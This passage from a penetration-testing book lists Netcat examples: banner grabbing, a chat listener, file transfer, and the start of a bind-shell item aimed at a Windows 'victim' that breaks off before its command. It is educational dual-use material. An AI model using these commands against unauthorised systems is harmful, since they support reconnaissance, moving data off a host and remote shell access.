Practical Web Penetration Testing

Practical examples

You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples:

• Banner grabbing (HTTP):

nc -vn 10.1.1.100 80

After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header.

• Simple chatting: Start typing the message that should be sent to the other party on any side:
  • Set up and listen on one side:

nc -v -lp 1234

• • On the other side, connect to the listener:

nc -v [Remote IP] 1234

• Transfer files:
  • Listen on one side:

nc -vn -lp 1234 > file.txt

• • Send the file from the other end:

nc -vn <other side remote IP> 1234 < file.txt

• Binding a shell:
  • Assuming that the victim is the Windows ...